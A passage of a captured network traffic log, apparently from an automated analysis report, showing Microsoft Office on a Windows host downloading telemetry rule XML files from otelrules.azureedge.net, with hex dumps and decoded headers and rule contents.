2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-05 19:51:07 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49734	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:08 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 281ea711-401e-0047-215f-2e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195108Z-157b9fd754f5nn7qhC1SN19asn00000004q0000000007a6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49731	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:08 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:08 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5dfad506-901e-0029-2a46-2e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195108Z-158dbd74bf4kd595hC1SN1av8c00000004dg000000005hwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:08 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49732	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:08 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:08 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23b843a5-001e-0065-686a-2e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195108Z-158dbd74bf42s6brhC1SN1tbnn00000004kg000000002hme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:08 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49733	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:08 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:08 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d78ce712-d01e-007a-194f-2ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195108Z-158dbd74bf4hnrcphC1SN1f41800000004c0000000003aah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:08 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49730	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:08 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:08 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:08 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: ece73ca0-101e-007a-073f-2e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195108Z-157b9fd754fslm5zhC1SN1s0vn00000004x0000000005ed3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:08 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49737	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:09 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 00beaf03-101e-0065-2c60-2e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195109Z-157b9fd754f4s26nhC1SN1er5n00000005400000000007f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49735	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:09 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b71120f-601e-0050-0560-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195109Z-157b9fd754fhz277hC1SN17yhw000000053g000000000fm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49736	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:09 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 2b307645-e01e-001f-335c-2e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195109Z-157b9fd754fqtvfchC1SN1b6mc00000004sg000000004wvv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49738	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:09 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:09 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 94eba7f5-101e-0079-455c-2e5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195109Z-158dbd74bf4hfx6nhC1SN1z1dw0000000470000000006v0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:09 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49739	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e9380aa8-701e-005c-5160-2ebb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195109Z-158dbd74bf4hnrcphC1SN1f41800000004cg000000002has x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:09 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49740	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
